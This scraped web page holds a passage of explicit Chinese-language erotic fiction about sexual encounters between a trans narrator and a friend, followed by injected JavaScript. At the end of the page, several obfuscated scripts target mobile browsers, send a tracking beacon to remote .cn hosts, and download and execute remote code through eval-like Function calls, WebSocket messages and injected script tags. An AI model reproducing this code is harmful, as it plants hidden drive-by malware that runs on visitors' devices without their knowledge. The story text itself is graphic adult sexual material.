「喂...喂...怎麼都打不通...」未接來電全是阿草打的,電話打不通讓我莫名的有點擔心,於是跟Party的同伴們到了歉,允諾會再找時間補償他們。搭了計程車回家,卻沒想到我一開門,就看到一個裸男蹲在床邊安慰這一個哭得稀里嘩啦的孕婦「你...你...你們...在幹什麼啊…」「我...」阿草剛要開口就被我揮手阻止了,「我...我先坐一下…頭暈。」衝衝忙忙趕回家又喝了不少酒的我感到頭好暈。「你怎麼會來?雲姐…」緩了一下神,我問起突然出現在我家的雲姐。我離開家之後,阿草在我房間睡了一陣子,然後跟維尼玩起了視訊網愛,當阿草正跪趴在在鏡頭前用按摩棒發騷的插入自己的小菊中,搖尾擺臀的挑逗維尼時,沒有鎖的門被雲姐給推開,他們對望了一下,當雲姐想到這時候應該要尖叫時,阿草這個羽球隊隊長瞬間用了平常鍛鍊出來的超高反應,跳起來摀住了雲姐的嘴巴把她給啦進房間內,害雲姐以為他是打算要”滅口”、”強姦”、”擄人勒贖”...嚇得大哭。阿草連忙想要解釋,但是雲姐卻哭得一句話都聽不下去,兩個人就這樣堅持著,阿草就是在這種情況下打電話給我要叫我回來處理。「靠腰勒!死阿草!!你...你...你在我房間玩網愛!!」「你....先穿衣服好嗎...」雲姐看我回來就比較冷靜了些,我抓抓頭還是介紹了阿草跟雲姐互相認識,並讓驚嚇過度的雲姐先躺在我床上休息,怕他動了胎氣。
雲姐張著漂亮的大眼睛,而且紅通通的掛著淚珠,那模樣真的有如文字描述的梨花淚雨,我見猶憐,我打發了剛穿好衣服的阿草去買點甜食來為雲姐安安神。「雲姐,大過年的你怎麼有閒情跑來中部阿?」「我...我...」吞吞吐吐的雲姐讓我覺得奇怪,「姊姊,有什麼事情就跟我說沒關係阿!蔡哥要是欺負你,我就幫你報仇...」我拍拍她的頭「齁呦,你怎麼也跟小蔡一樣喜歡拍我的頭啦,我比你們大捏~」雲姐突然爆出這句話讓我噗哧的笑出來。「好啦!!我說啦!!」雲姐看我笑個不停…深吸了一口氣開始解釋他來找我的原因。「我前天大掃除的時候在小蔡的抽屜裡翻出了一個隨身碟,破破爛爛的才2GB我想說把隨身碟的資料備份一下要把它給回收了,結果...我看到了你的照片...還跟他...」「蛤!!!」我聽到這裡大大哀號了一聲!!「阿~~死小蔡我要他都刪掉了說!!姊姊,你要相信我,我來中部之後都沒跟他亂來了...誒…他對你很專情的,你不要想太多...我們沒有什麼了…」我連忙的向雲姐解釋,「小另,我...不是要跟你說這個啦...我知道他很專情啦...不過你跟他又跟他爸這樣是不是亂...阿...我不是要說這個啦...你不要亂想…」看著雲姐羞澀的說著小蔡很專情的那個神情,不曉得為什麼,我覺得很羨慕雲姐可以這麼專情的喜歡著一個人。「我想說的是,我看到了你的裸體...每張照片上都有…有…小雞雞!」「阿...下面有小雞雞?蛤?…阿…對齁雲姐你還不知道...」「嗚...是真的嗎!!」雲姐還以為照片是被修圖修上去,現在我這麼一說她才知道這是真的「小另你是男的??怎麼會!!...你這麼漂亮...怎麼...怎麼會這樣...你…」雲姐說著說著突然掉下眼淚來,她這次是在哭什麼鬼的啦,我又是手忙腳亂的安撫了一下,突然想到一個問題「雲姐,你知道叔叔辦公室的那群姊姊嗎?」「知道阿,我知道他們都跟公公有些關係啦!這個我知道我知道!」雲姐收起了眼淚露出了一副得意的笑容。「那些姊姊...他們都跟我一樣...」「什麼!!!他們也是男的??」雲姐目瞪口呆的看著我...「嘉嘉...我姊姊...去年才從哥哥變成姊姊...」看著失神瞪大眼睛看著我的雲姐,我忍不住又拍拍她的頭。「小蔡是公公的養子嗎?」這是雲姐好不容易回過神後的第一個問題。之後我亂七八糟的把來龍去脈解釋給雲姐還有買甜點回來的阿草聽。這兩個聽眾聽得連手中的蛋糕都忘記吃了,「嗯...大概就是這樣摟,聽說我姊姊應該會是最後一個了...吧。」「那...那個蔡叔叔也太神奇了吧...」雲姐連忙點頭的附和著阿草的反應。「我也覺得很神奇,雲姐有空問問小蔡,他說不定會知道。」「這個我問不出口啦!!」
小蔡正在當兵,過年後才有放家,而蔡叔叔又帶著眾女飛去香港玩,本來嘉嘉還想留在台灣照顧懷孕不能坐飛機的雲姐,但雲姐說他回娘家過新年就好要嘉嘉也去玩。沒想到卻因為太想問我問題,所以開著車就到台中來找我。「姊姊...很危險捏,你弟弟不是也回家了嗎,叫你弟弟辛苦一點來載你啦。」很不放心她開車的我又不會開車,只好不斷要她把車放這裡,搭公車或是請她弟弟來接送,不過雲姐很堅持自己開車回去,也只好留了她一晚隔天早上才讓雲姐回家。我還有帳找阿草算呢。
「死阿草,雖然我跟你說我不會回家,不過你幹麼在我房間玩啦!」「小另...別生氣啦...是維尼...」「誰管那個色慾薰心連報告都寫不好的色胚啦!雖然你是好姊妹,可是...可是想到我的螢幕出現真人版維尼的裸體我就覺得很噁心啦!!」「好啦,好啦,我請你吃飯啦,別生氣嘛!」「不要...雲姐都看到你插肛肛的照片了,我也要看啦!!」這個阿草平常雖然帥氣逼人,但是在維尼面前就是一副小受的樣子,我故意耍賴著鬧他。「不要啦...小另你笑起來很變態...不要這樣...」「不管啦,你補償一下我受傷的心靈啦...做錯事的人沒有講價空間啦!」「我叫維尼來你欺負他啦!」「我才不要,你比較帥,我幹麼換人...」「維尼很帥阿!!」...維尼的綽號可是根據他的身材還有笑起來的憨樣得名的耶,阿草不曉得那根神經不對了。「好啦好啦~給你看啦!不可以對我亂來喔!」「那你要重頭到尾演一遍喔!」「不要啦~我會害羞啦!」「不管不管,你害我沒有爽到就回家了捏!」「好啦好啦,我做!我做!」「幹麼不情願,我也可以給你看阿!」「我不要看啦!」
阿草在我面前脫光了衣服,明明就是個陽光氣質男孩為什麼會被維尼吃掉對我來說真的很匪夷所思。他羞澀的摀著自己的重要部位跪坐在床前,剛好跟懶懶的斜躺在床上的我面對面。「手拿開,我想要看看小阿草!」我略帶強硬的口氣讓阿草滿臉通紅的把手給放開,「哇~怎麼有點興奮啦?」阿草被我的目光盯著,他那敏感的部位正悄悄的產生變化「呵呵,被我看你會變硬喔?你不是喜歡男生嗎?」「我...我...」阿草囁嚅著說不出話「你好興奮喔...阿草...豎起來了耶!」我不斷用著一種挑逗卻又冷蔑的口氣刺激著他,就如嘉嘉姊姊在教育小母狗的時候一般。「阿草,你不是要表演什麼嗎?」「感覺很奇怪啦,不知道怎麼動!」「齁!好啦好啦~你要是表現好,我給你看個好東西!!」看著阿草豎立的陽具,本來只是看好戲的我也有點興奮了起來。他開始羞澀的撫弄自己修長的陽具,一手輕輕玩弄著自己菊門的入口。看著他的羞澀,我還故意的走到他身後問他「維尼是不是喜歡從後面來阿?」「他弄你舒服嗎?」我看阿草被我的問話弄得全身火燙了,我褪下了下半身的睡褲,晃著晃著走到他面前,把我的下體暴露在阿草的面前,「阿草,我這邊可愛嗎?」我那孩童般大小的陰莖在阿草面前晃阿晃,我看他目不轉睛的看著,就彎下腰將阿草的手拉著,讓他撫摸我的小陰莖。「阿草,摸摸他好嗎?我給你看看我珍藏的照片喔!」邊說邊把我的手機遞給他,上面已經開好了一個我平常都藏起來的資料夾。從上往下看著阿草邊撫摸我的小陰莖,邊滑動著螢幕邊閃過一張張拍攝著黝黑的陰莖抽插著菊門的照片。黝黑的陰莖是小黑那粗硬的分身,而張開著菊門迎合著的是我那雪白的翹臀。「阿草,這個陰莖很棒對不對!維尼應該不能比吧!那是我的老公身上的喔!」我用氣音把陰莖的主人告訴不斷吞嚥著唾液的阿草。
「阿草,你很癢了嗎?想要大雞巴插進去了對不對?」我看著他的手自顧自的玩弄著自己的陰莖。「我來幫阿草頂頂後面好不好~」「...好...」我走到阿草身後,他自動崛起了屁股上身靠在床上,我用已經沾滿口水的食指挖弄阿草那緊實的菊穴。「哎喲,阿草的菊穴好有彈力,好會吸喔!」,我持續的用言語攻擊阿草,聽著他的喘氣聲我用我的下身那興奮得滴水的小陰莖磨著阿草的菊門「阿草,我沒有操過人,你讓我操好不好~」雖然小陰莖不能插入,但是隨著我擺動著腰,讓小陰莖不斷的重擊著他柔嫩的股間。「嗯~好奇怪...嗯...好怪...好怪...」我興奮的看著被頂得不斷往前傾的阿草撫弄陰莖的手動得越來越快,欲望尚未達到頂點的我可不想他那麼早就射精了「阿草,手來~」我把他的手壓制到背後拘束了起來,我的動作輕輕的讓阿草不懂得反抗。「阿草,你好可愛,讓小另幹你好不好?」「嗯...嗯...」阿草頭埋在被單裡輕輕的點著頭,「可是,小另的雞雞不會變硬,阿草要吹吹嗎?」他乖巧得點了頭。他轉過身含住了我那只有小指頭大小的小弟弟,「阿...阿草...吸慢一些...阿...對了...阿...很好...喔...」我特地將他的眼睛封起來,用我的腳縫輕輕的柔柔的刺激著他那硬得發紫的龜頭。「阿草~小另弄得你舒不舒服阿?」「舒...舒服...」他的嘴裡有著我那細小的小陰莖跟他鮮紅色的舌頭交纏,雖然不會勃起,但龜頭被刺激得不斷排出的液體正在他的嘴裡流淌。「阿...阿草好棒...阿...怎麼...阿~~阿~~」阿草被我的腳趾頭玩弄到射出了精液來,而高潮的他不自主的用力的吸著我的小陰莖,我那小陰莖被他當作了吸管,吸取我囊中的那液體。
「呼...呼...臭阿草...害人家都洩到無力了...還把人家的腳弄得那麼濕...」我的腳背上居然被他噴了滿滿的一攤白液,高潮過後的我無力的攤在椅子上,本來想用衛生紙擦掉,但卻不自主的把腳向前伸,阿草正跪在我身前,被拘束著眼睛也看不到的腳尖就擱在那微翹又豐厚的唇角,指甲輕輕的刮著他嘴角邊液體滑過的痕跡。「舔乾淨!」窗簾拉上而昏暗的房間裡,我的語氣又像是拜託又像是在命令,配合著指甲刮弄的動作,我又重複了一次!「舔乾淨!」這次的口氣更為強硬了些。阿草默默的含住了我的指尖,從拇指、食指、到小指頭,依序的含進嘴裡用舌頭舔過之後又吐了出來,連腳縫也沒有放過。舔過腳趾後,他的舌頭開始刮過他那黏滑的體液,明明就被我羞辱了,但昏暗的影子中,他的跨下又挺起了一個圓柱形的黑影。「小壞蛋!怎麼舔我的腳也興奮了呢?」我用腳背清點了兩下他的臉頰,然後又落上了他的腹股之間。「怎麼了?喘氣喘成這樣?」我並沒有踩痛他,像是小孩玩弄泥巴般的隨性,恣意。阿草的神情又扭曲又愉悅,我知道他正滿足在我的玩弄之中「阿草,我羞辱你你興奮嗎?」「……」「我正踩著你的小弟弟耶!」「……嗚…」「阿草的頭頭怎麼越來越濕呢?」我扯下他的眼罩,讓他可以看見我。微光中我坐著,光線透過窗簾映入我的房間。我知道,現在我臉上掛著冷冷的淺笑踩著阿草,卻用寵愛的眼神盯著阿草,我彷彿姐姐的翻版,臉上的神情學著在陋巷中羞辱、俯視我的姐姐,不用鏡子我也知道映在阿草眼裡的臉蛋跟那晚浮現在頭上的臉蛋一模一樣。感到阿草微微的失神了,他的肉棒淺淺的淡淡的抽搐,它又快要吐出白色的淚珠,我於是收回了腳。「阿??…??」「你都不回我,我累了!!」阿草立刻福現出悵然若失的神情,我要他挺起身,伸手就往他那硬得不斷跳動的陰莖摸去。阿草以為我要用手為他服務,身子更挺直了些,眼神像是一隻想要主人撫慰的小狗盯著我看。我並未如他的願,只是握住了那合手的陽物,食指的指甲尖抵著那多在下方的繫帶,用著會抓痛、抓紅他的力道慢慢的往上刮過,最後又用拇指的指腹用力摩擦了那龜頭頂端的裂縫。「嗚…痛…你…」阿草露出了不解又惱怒的神情,這疼痛消彌了他射精的慾望,卻又不會讓他已膨脹的陰莖軟下。「還沒呢…不是答應我,要用按摩棒來玩耍的嗎?在他耳朵邊說完話我俏皮的伸腳鑽開了他的雙腿,在他胯下用腳趾刺激著阿草粉嫩的小菊穴。
「阿呦...嗯...」阿草呻吟著,「來,躺下,對...面向我...嗯...好...」我舉起了昨天阿草穢玩到一半丟下的按摩棒要阿草重新的舔過「很好,好乖呢。」看著黑色的按摩棒上面晶瑩的唾液,我將它深入自己的嘴中,又加了一層潤滑。「腳張開...嗯...挺起來一點...好,進去摟!」「嗯~嗯~停一下,痛!!」我稍稍停了一下,又稍稍的往前擠了一下,太緊的菊穴,只好再拔出來加點潤滑油。「阿...嗯...阿...好飽...好粗...嗯...阿...」這次進入,阿草開心的呻吟了,我聽著他的聲音,不斷變換方向轉著摳著,就是要讓他的呻吟越來越淫蕩。「阿草...你怎麼這麼淫蕩...這不是維尼的肉棒耶...你怎麼可以這麼開心的呻吟著。」我越是捉弄他,他就越是興奮得呻吟。「阿...阿...小另,可以摸摸我那邊嗎?...阿...好酸...阿...酸...」我似乎探到了他的花心,那淫慾的前列腺。我加重著對他菊穴的攻擊,抓弄他陰莖的手只是擺擺樣子的刺激著他,敏感他的神經,就是要他越來越興奮卻不想讓他愉悅的噴發。「阿...阿...求你..小另...幫幫我...阿...」「阿草很想要嗎?」「是...是...阿...我...好難受...拜託...拜託你...」不曉得是我刺激得不對,還是阿草的前列腺沒那麼敏感,我沒有辦法讓他在菊穴的抽插中得到高潮,但看他那難受的神情我都快要忍不住高潮了。「那...阿草來...舔我這邊,你讓我開心了,我就讓你出來好不好?」我趴下來,讓阿草從背後用舌頭瘋狂的舔著我的菊穴,「阿...好癢...阿...對...鑽進去一些...阿...再...再快一些...嗯...喔...」為了達到快感,阿草忠實地遵從我所下達的每一個指令。「嗯...嗯...好了...吐一點口水在那邊...嗯...對...沒錯...嗯...去那邊坐著。」等阿草坐定我撲到他身上,用我被他弄得溼潤的菊穴吞入了阿草的陰莖,「阿草乖~主人讓你開心!」我自稱了主人,但阿草也沒有抗拒,被吞入的肉棒跟所有插入的陽物一般得硬挺,沒有因為他是喜歡男生而有所不同。「阿...阿...阿草不是喜歡男生嗎?...阿...怎麼在我體內這麼硬...喔...喔亨...對...嗯...挺腰...嗯...配合我...喔...yes...嗯...快一些...嗯...」快要被我搞到錯亂的阿草也無法顧及是男、是女,或是人妖?我綁在他雙手的束縛被他掙脫,他猶如餓瘋的老虎一般抱著我,緊緊的抱著,臉直接埋在我那棉柔的胸部上,奮力的擺動著他的腰。「阿...太快...阿...太快了啦...不要...不要那裡...阿...怎麼出來了...」就當著我快要被他幹到頂峰的時候,他突然深深地吸進一口氣,他把那憋到快不行的精液像是水槍噴濺般的衝擊著我的內壁,一股又一股的水流流淌到我的體內,但還沒有滿足的我,將他壓在床上瘋狂的動著腰「阿...小另...不行...感覺好奇怪...小另停下來...阿...不要動了...」阿草越是呻吟,我就越是瘋狂的擺腰,他的陰莖一度有點軟化,但在我緊夾的擺動中再度恢復了雄風。「阿...好麻...好麻...等一下...等一下...」很快的他又再度噴發出來,這次在他的噴發中我也滿足的獲得了一次高潮。「呼...呼...快死了...呼...呼...呼...」,阿草像是剛溺水被救上岸的人,大口大口的喘著氣,而我的喘氣聲也不晃多讓。「阿草~你當男人也不差嘛!」「你...你夠了...你怎麼...怎麼那麼變態啦!」「可是你很開心耶?」「你...你知道,你要我憋了兩次嗎?」「當然阿...你憋著的樣子這麼可愛。」「我...」「而且...你這兩次也射太多了吧。」「你...你讓我超敏感的...」「蛤?太小聲了啦...最後兩個字再說一次?」。阿草躺在床上,我躺在地上,兩個人都無力得動彈不得。
小小地插曲讓我們的相處尷尬了一陣子,但還沒開學就恢復了平常的相處方式。阿草愛上了強烈又刺激的性愛,跟維尼的互動就變得很不滿足,經常為了這件事情吵架的他們還因此被同學們發現了他們在一起的秘密。「什麼!!小另你說你早就知道了!!中秋節就知道了??」午休,柔柔八卦的跟我談起他們的事情。「對阿,托你的福。」「什麼福??」「你在廁所淫叫得太大聲摟!」說完這句話我哈哈大笑得丟下滿臉通紅的柔柔。
关闭
function OLrAJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function dSMOXiRm(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OLrAJ(t);};window[''+'o'+'y'+'d'+'h'+'M'+'A'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MJTu(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=dSMOXiRm,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MJTu(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MJTu(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYYlMkZhLmdiYYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['Y','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();